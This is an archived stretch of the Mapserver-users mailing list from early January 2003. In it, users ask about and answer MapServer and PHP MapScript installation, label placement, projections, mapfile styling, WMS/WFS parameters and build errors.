From mike_5102 at yahoo.com.tw Wed Jan 1 03:53:00 2003
From: mike_5102 at yahoo.com.tw (Mikeyahoo)
Date: Wed, 1 Jan 2003 19:53:00 +0800
Subject: [Mapserver-users] Why the Annotations on map are too crowded?
Message-ID: <001f01c2b18c$561d6520$89b34ad3@Mike>
This is a multi-part message in MIME format.
------=_NextPart_000_001C_01C2B1CF.633D3EE0
Content-Type: text/plain;
charset="big5"
Content-Transfer-Encoding: quoted-printable
Hello all,
I have PHP ver4.0.6 and MapServer version 3.5.I can show the annotation =
on my map,but the text on map seem too crowded.How can I make it =
separate and what methods should I use to control them.
thanks for your response!
------=_NextPart_000_001C_01C2B1CF.633D3EE0
Content-Type: text/html;
charset="big5"
Content-Transfer-Encoding: quoted-printable
Hello all, I have PHP ver4.0.6 and =
MapServer=20
version 3.5.I can show the annotation =
on my=20
map,but the text on map seem too crowded.How can I make it separate and =
what=20
methods should I use to control them.
thanks for your=20
response!
------=_NextPart_000_001C_01C2B1CF.633D3EE0--
-----------------------------------------------------------------
< ?C???? Yahoo!?_?? > www.yahoo.com.tw
From fx.gamoy at mapxplore.com Wed Jan 1 06:42:22 2003
From: fx.gamoy at mapxplore.com (fx gamoy)
Date: Wed, 1 Jan 2003 14:42:22 -0000
Subject: [Mapserver-users] promblem of installation php4.1.2 mapserver 3.6.3 with RH 7.3
Message-ID: <001501c2b1a3$fe81cbe0$0201a8c0@mapxplore.com>
C'est un message de format MIME en plusieurs parties.
------=_NextPart_000_0012_01C2B1A3.FE7CE9E0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
happy new year!!
i have compiled mapserver into my linux plateform and copied the =
mapserver file into the cgi-bin directory. When trying the url =
http://localhost/cgi-bin/mapserv i obtain :
"No query information to decode, no query result set".
The compilation seems to be cool and take care of mapscript
When i try to perform mapserver on a very small filemap, the server =
return:
"call to undefined function ms_newmapObj...
When i try the phpinfo i can't see any section mapscript.=20
is there a param to define in the php.ini?
Do i have to recompile php?
Is it recommended that i upgrade php to 4.2.2 instead of 4.1.2?
i think i have missed something.. :-)
Thanks
fx gamoy
http://www.mapxplore.com/
------=_NextPart_000_0012_01C2B1A3.FE7CE9E0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
happy new year!!
i have compiled mapserver into my linux =
plateform=20
and copied the mapserver file into the cgi-bin directory. When trying =
the url http://localhost/cgi-bin/mapser=
v i=20
obtain :
"No query information to decode, no =
query result=20
set".
The compilation seems to be cool and =
take care of=20
mapscript
When i try =
to perform mapserver on a very=20
small filemap, the server return:
"call to undefined function=20
ms_newmapObj...
When i try the phpinfo i can't see any =
section=20
mapscript.
is there a param to define in the=20
php.ini?
Do i have to recompile =
php?
Is it recommended that i upgrade php to =
4.2.2=20
instead of 4.1.2?
------=_NextPart_000_0012_01C2B1A3.FE7CE9E0--
From pkishor at geoanalytics.com Wed Jan 1 07:12:19 2003
From: pkishor at geoanalytics.com (pkishor_98 )
Date: Wed, 01 Jan 2003 15:12:19 -0000
Subject: [Mapserver-users] Re: promblem of installation php4.1.2 mapserver 3.6.3 with RH 7.3
In-Reply-To: <001501c2b1a3$fe81cbe0$0201a8c0@mapxplore.com>
Message-ID:
Just a quick reply off the top of my head (some of it may be wrong)...
--- In mapserver-users at yahoogroups.com, "fx gamoy" wrote:
> happy new year!!
>
> i have compiled mapserver into my linux plateform and copied the
mapserver file into the cgi-bin directory. When trying the url
http://localhost/cgi-bin/mapserv i obtain :
> "No query information to decode, no query result set".
well, you didn't give it any query information, so it complained
correctly.
> The compilation seems to be cool and take care of mapscript
>
> When i try to perform mapserver on a very small filemap, the server
return:
> "call to undefined function ms_newmapObj...
since you haven't provided any code, I have to guess. Did you give it
a valid php code? Remember, some basic syntax changes are expected
since whatever you were using earlier. Perhaps you should provide
sample code you were trying to run.
>
> When i try the phpinfo i can't see any section mapscript.
there wouldn't be. The Mapscript module is dynamicall loaded, that is,
loaded only when included in a script, etc.
> is there a param to define in the php.ini?
> Do i have to recompile php?
> Is it recommended that i upgrade php to 4.2.2 instead of 4.1.2?
Check the latest compatible PHP version and upgrade to it. Although, I
know from personal experience that 4.1.2 works just fine.
Have a safe and happy new year.
From dionnaldbeh at lycos.com Wed Jan 1 08:02:32 2003
From: dionnaldbeh at lycos.com (Dionnald Beh)
Date: Wed, 01 Jan 2003 23:02:32 +0700
Subject: [Mapserver-users] Malaysia Projection Problem
Message-ID:
Dear all members,
Happy New Year!
I would like to ask a question regarding to the ESPG code for Malaysia. The projection of Malaysia is RSO (Rectifier Skew Orthomorphic). But, i can't get the ESPG code for this projection.
So, i would like to get the helping hand from all of you. What is the ESPG code of RSO projection?
Thank you.
Dionnald Beh Boon Heng
Faculty of Geoinformation,
University Technology Malaysia,
81300 Skudai,
Johor Darul Takzim,
Malaysia.
_____________________________________________________________
Get 25MB, POP3, Spam Filtering with LYCOS MAIL PLUS for $19.95/year.
http://login.mail.lycos.com/brandPage.shtml?pageId=plus&ref=lmtplus
From nida at webstar.co.uk Thu Jan 2 02:41:18 2003
From: nida at webstar.co.uk (nida Khan)
Date: Thu, 2 Jan 2003 10:41:18 -0000
Subject: [Mapserver-users] Mulitiline string to Polygon
Message-ID: <013201c2b24b$7bf154e0$a901a8c0@private.webstar.co.uk>
This is a multi-part message in MIME format.
------=_NextPart_000_012F_01C2B24B.7B9440C0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi list,
I have three table created from .NTF(boundary line) file provided by =
Ordinance Survery. using ogr2ogr.
One with geometry data, other two with features information. namely, =
BL2000_LINK,BL2000_POLY,BL2000_COLLECTION
I can create the map perfectly fine, main problem comes, when I want to =
display a label from those feature table.
As its a MultilineString geom, label comes on top of line, instead of =
middle of "formed polygon", which makes sense...
Is there anyway of controling the inside area of two lines???
I thought If I can create a polygon geometry instead of multilineString =
it can make my task easy!
Is there any way of doing it???
Has anyone ever worked on Boundary line data from Ordinance Survey =
before? If yes, how do you cope with these problems?
How do you inforce relational integrity b/w three tables?
Best Regards
Nida.
PS:my table structrue is like this.
test=3D# \d bl200_llnik
Column | Type | Modifiers=20
------------+-------------------+-----------
gid | integer |=20
line_id | integer |=20
geom_id | integer |=20
feat_code | character varying |=20
global_lin | integer |=20
tile_ref | character varying |=20
the_geom | geometry |=20
Check constraints: "$1" (srid(the_geom) =3D -1)
"$2" ((geometrytype(the_geom) =3D =
'MULTILINESTRING'::text) OR (the_geom IS NULL))
test=3D# \d bl2000_poly=20
=20
Column | Type | =
Modifiers =20
-----------------+-------------------+-----------------------------------=
--------------------------
ogc_fid | integer | not null default =
nextval('"bl2000_poly_ogc_fid_seq"'::text)
wkb_geometry | geometry |=20
poly_id | numeric(6,0) |=20
global_seed_id | numeric(6,0) |=20
hectares | numeric(12,3) |=20
num_parts | numeric(4,0) |=20
dir | character varying |=20
geom_id_of_link | character varying |=20
ringstart | character varying |=20
tile_ref | character(10) |=20
Unique keys: bl2000_poly_ogc_fid_key
Check constraints: "$1" (srid(wkb_geometry) =3D 104306)
test=3D# \d bl2000_collection=20
=20
Column | Type | =
Modifiers =20
-----------------+-------------------+-----------------------------------=
--------------------------------
ogc_fid | integer | not null default =
nextval('"bl2000_collection_ogc_fid_seq"'::text)
wkb_geometry | geometry |=20
coll_id | numeric(6,0) |=20
num_parts | numeric(4,0) |=20
poly_id | character varying |=20
admin_area_id | numeric(6,0) |=20
admin_name | character varying |=20
area_type | character(2) |=20
area_code | character(3) |=20
non_type_code | character(3) |=20
non_inland_area | numeric(12,3) |=20
coll_id_refs | character varying |=20
tile_ref | character(10) |=20
Unique keys: bl2000_collection_ogc_fid_key
Check constraints: "$1" (srid(wkb_geometry) =3D 104306)
------=_NextPart_000_012F_01C2B24B.7B9440C0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Hi list,
I have three table created from .NTF(boundary =
line) file=20
provided by Ordinance Survery. using ogr2ogr.
One with geometry data, other two with features =
information.=20
namely, BL2000_LINK,BL2000_POLY,BL2000_COLLECTION
I can create the map perfectly fine, main problem =
comes, when=20
I want to display a label from those feature table.
As its a MultilineString geom, label comes on top of =
line,=20
instead of middle of "formed polygon", which makes sense...
Is there anyway of controling the inside area of two =
lines???
I thought If I can create a polygon geometry instead =
of=20
multilineString it can make my task easy!
Is there any way of doing it???
Has anyone ever worked on Boundary line data from =
Ordinance=20
Survey before? If yes, how do you cope with these =
problems?
How do you inforce relational integrity b/w three=20
tables?
------=_NextPart_000_012F_01C2B24B.7B9440C0--
From BVT at sns.dk Thu Jan 2 04:31:52 2003
From: BVT at sns.dk (BVT at sns.dk)
Date: Thu, 2 Jan 2003 13:31:52 +0100
Subject: [Mapserver-users] Win32 binary with oracle spatial support or a makefile.vc to buil
d Mapserver with oracle spatial support
Message-ID: <9EEA6C597101D31194730000F8EF9D210357A18F@SNEX01>
This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.
------_=_NextPart_001_01C2B25A.EDD1DDF0
Content-Type: text/plain;
charset="iso-8859-1"
To the list members -
Before I try to build Mapserver with oracle spatial on a windows platform by
trial/error and looking at the unix makefile, I thought I would try my luck
on the list....
Is there anyone who could supply me with either a MapServer win32 binary or
a working makefile.vc to build the exe-file ?
I've searched the list archive and seen, that this request have popped up
fairly often. Unfortunately, the only link I could find to a solution was
dead.
Kind regards
Bo Thomsen
------_=_NextPart_001_01C2B25A.EDD1DDF0
Content-Type: text/html;
charset="iso-8859-1"
To the list members
-
Before I try to
build Mapserver with oracle spatial on a windows platform by
trial/error and looking at the unix makefile, I thought I would try my luck
on the list....
Is there anyone who
could supply me with either a MapServer win32 binary or a working
makefile.vc to build the exe-file ?
I've searched the
list archive and seen, that this request have popped up fairly often.
Unfortunately, the only link I could find to a solution was
dead.
Kind regards
Bo
Thomsen
------_=_NextPart_001_01C2B25A.EDD1DDF0--
From stepan.kafka at centrum.cz Thu Jan 2 06:19:05 2003
From: stepan.kafka at centrum.cz (Stepan Kafka)
Date: Thu, 2 Jan 2003 15:19:05 +0100
Subject: [Mapserver-users] problems with ms 3.7
In-Reply-To: <490DDC5F1BA13F49A366F2BEFCFACB1B5B03CF@CIT-XCH-02.prds.qldpol>
Message-ID: <000201c2b269$e819cb70$7e3c2fc3@HSGIS>
Hi all,
I am testing mapserver 3.7 from 30.12.02 (GD 2.1, GDAL-CVS version, TTF 2,
WMS + WFS servers...) on Linux RH 8 machine, but found some problems:
- wider lines (size > 1) made by "circle" symbol have black thick
"outlines". This error I found only in RGB/RGBA mode, in PC256 everything is
OK.
- It seems that label MAXSIZE parameter doesn't work with scaled symbols.
The labels are zoomed without limits.
- Offset lines (e.g. STYLE OFFSET 5 -99) are drawn once on the one side of
the original line, once on the other side. Is this OK? (Using absolute
values of dx, dy?)
- The STYLE is very good for complex symbols, but I don't how can I set e.g.
width polygon outlines (old OVERLAYOUTLINECOLOR syntax)?
- for WMS and WFS are introduced these paremeters in the mapfile, e.g:
WFS_TITLE, WMS_TITLE, WFS_ABSTRACT, WMS_ABSTRACT, WFS_SRS, WMS_SRS. I expect
that these pairs have the same content in most cases. Wouldn't be reasonable
to use them only once for both services?
Thank you
Stepan Kafka
Help Service Remote Sensing
tel: +420-327514118
mailto:kafka at email.cz
http://www.bnhelp.cz
From morissette at dmsolutions.ca Thu Jan 2 07:56:40 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 02 Jan 2003 10:56:40 -0500
Subject: [Mapserver-users] Why the Annotations on map are too crowded?
References: <001f01c2b18c$561d6520$89b34ad3@Mike>
Message-ID: <3E146138.3A75A59C@dmsolutions.ca>
> "Mike(yahoo)" wrote:
>
> Hello all,
> I have PHP ver4.0.6 and MapServer version 3.5.I can show
> the annotation on my map,but the text on map seem too crowded.How can
> I make it separate and what methods should I use to control them.
> thanks for your response!
There are a few parameters in the LABEL object to control which labels
will show up, and the minimum distance between them, etc. Have a look
at the label object section in
http://mapserver.gis.umn.edu/doc35/mapfile-reference.html
Of special interest are:
- BUFFER
- MINDISTANCE
- MINFEATURESIZE
- FORCE
- PARTIALS
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From steve.lime at dnr.state.mn.us Thu Jan 2 08:12:29 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 02 Jan 2003 10:12:29 -0600
Subject: [Mapserver-users] problems with ms 3.7
Message-ID:
Stephen Lime
Data & Applications Manager
Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937
>>> "Stepan Kafka" 01/02/03 08:19AM >>>
> Hi all,
Hi Stepan,
> I am testing mapserver 3.7 from 30.12.02 (GD 2.1, GDAL-CVS version,
TTF 2,
> WMS + WFS servers...) on Linux RH 8 machine, but found some
problems:
Good (problems bad), I mean I'm glad someone is testing...
> - wider lines (size > 1) made by "circle" symbol have black thick
> "outlines". This error I found only in RGB/RGBA mode, in PC256
everything is
> OK.
Will have to check on that one. I've tested with GD 2.0 and all but not
much with
RGB output. I imagine a default outline color (-1,-1,-1) is being
interpreted as black/
> - It seems that label MAXSIZE parameter doesn't work with scaled
symbols.
> The labels are zoomed without limits.
Dunno on that one will check...
> - Offset lines (e.g. STYLE OFFSET 5 -99) are drawn once on the one
side of
> the original line, once on the other side. Is this OK? (Using
absolute
> values of dx, dy?)
I think this is ok. Offsets for lines can be used in two ways. One is
to create a straight
copy of the line offset by x and y pixels. The other is to mimic the
behaviour of the old
(pre-3.4) "TYPE STYLED" lines. An offset of 5 -99 should give you only
one line though.
Will look more.
> - The STYLE is very good for complex symbols, but I don't how can I
set e.g.
> width polygon outlines (old OVERLAYOUTLINECOLOR syntax)?
Overlays are just a second style (note that the map file parser still
recognizes OVERLAYCOLOR
and so on). So you'd do something like:
# solid red fill
STYLE
COLOR 255 0 0
END
# 2 pixel wide outline
STYLE
SYMBOL 'circle'
SIZE 3
OUTLINECOLOR 0 0 0
END
> - for WMS and WFS are introduced these paremeters in the mapfile,
e.g:
> WFS_TITLE, WMS_TITLE, WFS_ABSTRACT, WMS_ABSTRACT, WFS_SRS, WMS_SRS. I
expect
> that these pairs have the same content in most cases. Wouldn't be
reasonable
> to use them only once for both services?
I'll let Dan comment on this one...
> Thank you
> Stepan Kafka
Steve
From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Thu Jan 2 09:28:42 2003
From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca)
Date: Thu, 2 Jan 2003 12:28:42 -0500
Subject: [Mapserver-users] problems with ms 3.7
Message-ID: <7CDD7B94357FD5119E800002A537C46E230548@s5-ccr-r1.ccrs.nrcan.gc.ca>
About the WMS/WFS parameters ...
Actually, it is quite possible to have WMS and WFS using quite different
parameters .... For example, projection and re-projection handling in those
2 specs are different, which creates the requirement of setting the SRS type
parameters differently depending on which protocol you're using.
Also, for abstracts, I can also see the need to have seperate ones, the
description of a WMS and a WFS can be quite different, since they basically
do quite different things really.
I guess MAYBE the title could be unified :) (But for consistency it won't !)
This was implemented in such a way that one could potentially use a given
mapfile to serve both WMS AND WFS, but in such a case, the mapserver
developper really should NOT make any assumptions on how similar or
different you (the service provider) want to make them look. I personally
NEED them to be different for example, simply because the plain english
desciptions are very diffferent, and the projection handling being
different, I need those seperate as well.
My .02$
J.F.
-----Original Message-----
From: Stepan Kafka [mailto:stepan.kafka at centrum.cz]
Sent: Thursday, January 02, 2003 9:19 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] problems with ms 3.7
Hi all,
I am testing mapserver 3.7 from 30.12.02 (GD 2.1, GDAL-CVS version, TTF 2,
WMS + WFS servers...) on Linux RH 8 machine, but found some problems:
- wider lines (size > 1) made by "circle" symbol have black thick
"outlines". This error I found only in RGB/RGBA mode, in PC256 everything is
OK.
- It seems that label MAXSIZE parameter doesn't work with scaled symbols.
The labels are zoomed without limits.
- Offset lines (e.g. STYLE OFFSET 5 -99) are drawn once on the one side of
the original line, once on the other side. Is this OK? (Using absolute
values of dx, dy?)
- The STYLE is very good for complex symbols, but I don't how can I set e.g.
width polygon outlines (old OVERLAYOUTLINECOLOR syntax)?
- for WMS and WFS are introduced these paremeters in the mapfile, e.g:
WFS_TITLE, WMS_TITLE, WFS_ABSTRACT, WMS_ABSTRACT, WFS_SRS, WMS_SRS. I expect
that these pairs have the same content in most cases. Wouldn't be reasonable
to use them only once for both services?
Thank you
Stepan Kafka
Help Service Remote Sensing
tel: +420-327514118
mailto:kafka at email.cz
http://www.bnhelp.cz
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From Chip.Hankley at GASAI.Com Thu Jan 2 11:03:55 2003
From: Chip.Hankley at GASAI.Com (Hankley, Chip)
Date: Thu, 2 Jan 2003 13:03:55 -0600
Subject: [Mapserver-users] OT: Db Logic for Address Query
Message-ID: <3DFF131E4E6D2D4198CDD758F35A535302785258@postoffice.GASAI.Com>
Sorry for the slightly OT question...
I'm building an address location tool using TIGER data as a base. I have all
of the attribute data in a DB. When I execute the query, I return the
shapeID, and use this to process the address in MapServer.
I'm trying to figure out the logic for doing an address query. In TIGER
data, addresses are broken out into:
Right and Left Ranges (TO FROM, 4 fields)
Prefix
Name
Suffix
Type
So the address:
3645 East Washington Avenue North
would be comprised of data from 5 fields. Right now I have my front-end set
up so that the user has to enter each component separately (i.e. there's a
field for range, prefix, name, etc.). Yet, I've seen on other address
location tools the ability to enter this entire string into one field.
How does a query like that work? How would one parse out what should be in
each field in order to execute the SQL correctly?
Any pointers (tips or sources of info) would be appreciated.
Chip Hankley
From Chip.Hankley at GASAI.Com Thu Jan 2 11:22:38 2003
From: Chip.Hankley at GASAI.Com (Hankley, Chip)
Date: Thu, 2 Jan 2003 13:22:38 -0600
Subject: [Mapserver-users] sample of flash using mapserver
Message-ID: <3DFF131E4E6D2D4198CDD758F35A53530278525B@postoffice.GASAI.Com>
Aaron and Daniel -
Wow. Those are great examples. When 3.7 is released, what will we need to
develop those types of front-ends? Is Flash the only thing? Is PHP-MapScript
or CGI MapServer driving the back-end?
Thanks!
Chip
-----Original Message-----
From: Aaron D. Hunt [mailto:hunt at zedxinc.com]
Sent: Tuesday, December 31, 2002 12:02 PM
To: mapserver-users at lists.gis.umn.edu; Daniel Morissette
Subject: Re: [Mapserver-users] sample of flash using mapserver
Try it again
----- Original Message -----
From: "Daniel Morissette"
To: "Aaron D. Hunt"
Sent: Tuesday, December 31, 2002 12:25 PM
Subject: Re: [Mapserver-users] sample of flash using mapserver
> > "Aaron D. Hunt" wrote:
> >
> > Here is a first cut example of a flash program I have made using
> > mapserver.
> >
> > http://www.zedxinc.com/sample/show.html
> >
> > Aaron D. Hunt
>
> I tried to access it, but it tries to access something on
> aphis-dev.zedxinc.com which is not available (possibly located behind
> your firewall), so we don't get any map.
>
> BTW, does this use the new Flash support in MapServer 3.7?
>
> Daniel
> --
> ------------------------------------------------------------
> Daniel Morissette morissette at dmsolutions.ca
> DM Solutions Group http://www.dmsolutions.ca/
> ------------------------------------------------------------
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From steve.lime at dnr.state.mn.us Thu Jan 2 11:46:08 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 02 Jan 2003 13:46:08 -0600
Subject: [Mapserver-users] Fwd: ./configure bug
Message-ID:
Received: from mail.state.mn.us
(state.mn.us [156.99.125.109])
by co5.dnr.state.mn.us; Mon, 30 Dec 2002 15:19:41 -0600
Return-Path:
Received: from lists.gis.umn.edu by mail.state.mn.us with ESMTP for steve.lime at dnr.state.mn.us; Mon, 30 Dec 2002 15:19:28 -0600
Received: from jupiter.osuedc.org ([140.254.85.27])
by lists.gis.umn.edu (8.12.6/8.12.6) with ESMTP id gBULK0ae026028
for ; Mon, 30 Dec 2002 15:20:00 -0600 (CST)
Received: from io.osuedc.org (io.osuedc.org [164.107.48.47])
by jupiter.osuedc.org (8.12.2/8.12.2) with ESMTP id gBULJRQT030900
for ; Mon, 30 Dec 2002 16:19:27 -0500
Date: Mon, 30 Dec 2002 16:19:04 -0500 (EST)
From: richard hornsby
To: mapserver-bugs at lists.gis.umn.edu
Subject: ./configure bug
Message-Id:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Content-Transfer-Encoding: 7bit
I think I'll be able to work around this, but this error is coming up when
trying to ./configure MapServer:
!!! The current version of PHP MapScript has some problems with !!!
!!! PHP4's bundled regex. Until we figure the solution to the !!!
!!! problem, the workaround is to compile PHP4 with the system regex !!!
!!! Please re-configure and re-compile PHP4 with --with-system-regex !!!
!!! and then re-configure and re-compile MapServer. !!!
The '--with-system-regex' option in PHP is deprecated, and has been
superceded by '--with-regex=system'
ie, my PHP ./configure looks like:
'./configure' '--with-apxs=/usr/local/apache/bin/apxs'
'--enable-trans-sid' '--enable-track-vars' '--with-gd' '--with-pdflib'
'--with-jpeg-dir' '--with-tiff-dir' '--with-pspell' '--with-freetype-dir'
'--enable-gd-native-ttf' '--with-png-dir' '--with-zlib-dir' '--with-ttf'
'--with-regex=system'
but the MapServer script complains. :)
thanks for your time!
-rj
--
Information Center, n.:
A room staffed by professional computer people whose job it is to
tell you why you cannot have the information you require.
rj hornsby . systems engineer . www.osuedc.org
human and community resource development
p 614 688 8761 . f 614 688 8762
From jvanulde at nrcan.gc.ca Thu Jan 2 11:55:27 2003
From: jvanulde at nrcan.gc.ca (Van Ulden, Joost)
Date: Thu, 2 Jan 2003 14:55:27 -0500
Subject: [Mapserver-users] Transparent GIF polygon fill pattern
Message-ID: <8AE17DD6AA4FD51191CD0002A5511681074BCD@s5-van1-r1.ess.nrcan.gc.ca>
Has anyone filled a polygon with a transparent GIF? I can get the GIF to
fill the polygon, but it's not transparent. Here are some code snippets:
Symbol file:
SYMBOL
NAME 'plqv'
TYPE PIXMAP
IMAGE '../images/plqv.gif'
TRANSPARENT 0
END
Mapfile:
CLASS
EXPRESSION "PlQv"
NAME "PlQv"
BACKGROUNDCOLOR 204 179 255
OUTLINECOLOR 102 102 102
COLOR 204 179 255
SYMBOL 'plqv'
LABEL
MINDISTANCE 200
ANTIALIAS TRUE
FONT "arial"
TYPE truetype
SIZE 7
END
END
Regards,
============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau: 604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================
From rhornsby at io.osuedc.org Thu Jan 2 11:56:00 2003
From: rhornsby at io.osuedc.org (richard hornsby)
Date: Thu, 2 Jan 2003 14:56:00 -0500 (EST)
Subject: [Mapserver-users] MDK9 (gcc3): undefined reference to `__gxx_personality_v0'
Message-ID:
ref gcc version 3.2 (Mandrake Linux 9.0 3.2-1mdk)
ref mapserver 3.6.3
Checking the mailing list archives and realizing that this seems to be a
common problem with GCC 3 not understanding what 'personality_v0' is or
whatever, and seeing all the stuff about changing the makefile to point to
g++ in the problem areas, what I can't figure out is:
- what lines (by number if possible) in the Makefile need to be changed,
so that those who are trying aren't changing the wrong lines?
- does it actually do anything to change lines in the Makefile to point
to g++ in linux? ie, I get the same version response whether I ask 'gcc
-v' or 'g++ -v'?
- is it possible to install and use gcc 2.9.x concurrently with gcc 3.x,
and therefore compile mapserver with the gcc 2.9.x, all *without*
breaking the existing installation of gcc 3.x? if so, could someone point
out where the documentation on howto do this is?
thanks for your help
-rj
osuedc
--
Information Center, n.:
A room staffed by professional computer people whose job it is to
tell you why you cannot have the information you require.
rj hornsby . systems engineer . www.osuedc.org
human and community resource development
p 614 688 8761 . f 614 688 8762
From morissette at dmsolutions.ca Thu Jan 2 12:12:12 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 02 Jan 2003 15:12:12 -0500
Subject: [Mapserver-users] Fwd: ./configure bug
References:
Message-ID: <3E149D1C.F67D7787@dmsolutions.ca>
I have created a bug about this in bugzilla:
http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=252
Can you please review my comment in the bug report and provide the
information that I listed there to help us reproduce the problem?
Thanks
Daniel
> Subject: ./configure bug
> Date: Mon, 30 Dec 2002 16:19:04 -0500 (EST)
> From: richard hornsby
> To: mapserver-bugs at lists.gis.umn.edu
>
> I think I'll be able to work around this, but this error is coming up when
> trying to ./configure MapServer:
>
> !!! The current version of PHP MapScript has some problems with !!!
> !!! PHP4's bundled regex. Until we figure the solution to the !!!
> !!! problem, the workaround is to compile PHP4 with the system regex !!!
> !!! Please re-configure and re-compile PHP4 with --with-system-regex !!!
> !!! and then re-configure and re-compile MapServer. !!!
>
> The '--with-system-regex' option in PHP is deprecated, and has been
> superceded by '--with-regex=system'
>
> ie, my PHP ./configure looks like:
>
> './configure' '--with-apxs=/usr/local/apache/bin/apxs'
> '--enable-trans-sid' '--enable-track-vars' '--with-gd' '--with-pdflib'
> '--with-jpeg-dir' '--with-tiff-dir' '--with-pspell' '--with-freetype-dir'
> '--enable-gd-native-ttf' '--with-png-dir' '--with-zlib-dir' '--with-ttf'
> '--with-regex=system'
>
> but the MapServer script complains. :)
>
> thanks for your time!
> -rj
>
> --
> Information Center, n.:
> A room staffed by professional computer people whose job it is to
> tell you why you cannot have the information you require.
>
> rj hornsby . systems engineer . www.osuedc.org
> human and community resource development
> p 614 688 8761 . f 614 688 8762
>
From steve.lime at dnr.state.mn.us Thu Jan 2 12:20:02 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 02 Jan 2003 14:20:02 -0600
Subject: [Mapserver-users] Transparent GIF polygon fill pattern
Message-ID:
If I recall correctly transparency for PIXMAP symbols is not controlled
by the TRANSPARENT flag but by the the transparency of the image itself.
Is '../images/plqv.gif' a transparent gif?
Steve
Stephen Lime
Data & Applications Manager
Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937
>>> "Van Ulden, Joost" 01/02/03 01:55PM >>>
Has anyone filled a polygon with a transparent GIF? I can get the GIF
to
fill the polygon, but it's not transparent. Here are some code
snippets:
Symbol file:
SYMBOL
NAME 'plqv'
TYPE PIXMAP
IMAGE '../images/plqv.gif'
TRANSPARENT 0
END
Mapfile:
CLASS
EXPRESSION "PlQv"
NAME "PlQv"
BACKGROUNDCOLOR 204 179 255
OUTLINECOLOR 102 102 102
COLOR 204 179 255
SYMBOL 'plqv'
LABEL
MINDISTANCE 200
ANTIALIAS TRUE
FONT "arial"
TYPE truetype
SIZE 7
END
END
Regards,
============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau: 604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Thu Jan 2 12:47:04 2003
From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca)
Date: Thu, 2 Jan 2003 15:47:04 -0500
Subject: [Mapserver-users] Fwd: ./configure bug
Message-ID: <7CDD7B94357FD5119E800002A537C46E23054B@s5-ccr-r1.ccrs.nrcan.gc.ca>
FYi, I ran accross this as well, but got it to work fine once I caught on to
the change in the configure otpion ...
One problem you might be having is with the cache of the configure script.
In your PHP source tree root, remove config.cache and run your configure
again, that should do it!
And on that note, don't use the APXS build method, MapServer will complain
about that too :) It has to be built as a CGI.
Hope this helps,
J.F.
-----Original Message-----
From: Daniel Morissette [mailto:morissette at dmsolutions.ca]
Sent: Thursday, January 02, 2003 3:12 PM
To: richard hornsby
Cc: mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] Fwd: ./configure bug
I have created a bug about this in bugzilla:
http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=252
Can you please review my comment in the bug report and provide the
information that I listed there to help us reproduce the problem?
Thanks
Daniel
> Subject: ./configure bug
> Date: Mon, 30 Dec 2002 16:19:04 -0500 (EST)
> From: richard hornsby
> To: mapserver-bugs at lists.gis.umn.edu
>
> I think I'll be able to work around this, but this error is coming up when
> trying to ./configure MapServer:
>
> !!! The current version of PHP MapScript has some problems with !!!
> !!! PHP4's bundled regex. Until we figure the solution to the !!!
> !!! problem, the workaround is to compile PHP4 with the system regex !!!
> !!! Please re-configure and re-compile PHP4 with --with-system-regex !!!
> !!! and then re-configure and re-compile MapServer. !!!
>
> The '--with-system-regex' option in PHP is deprecated, and has been
> superceded by '--with-regex=system'
>
> ie, my PHP ./configure looks like:
>
> './configure' '--with-apxs=/usr/local/apache/bin/apxs'
> '--enable-trans-sid' '--enable-track-vars' '--with-gd' '--with-pdflib'
> '--with-jpeg-dir' '--with-tiff-dir' '--with-pspell' '--with-freetype-dir'
> '--enable-gd-native-ttf' '--with-png-dir' '--with-zlib-dir' '--with-ttf'
> '--with-regex=system'
>
> but the MapServer script complains. :)
>
> thanks for your time!
> -rj
>
> --
> Information Center, n.:
> A room staffed by professional computer people whose job it is to
> tell you why you cannot have the information you require.
>
> rj hornsby . systems engineer . www.osuedc.org
> human and community resource development
> p 614 688 8761 . f 614 688 8762
>
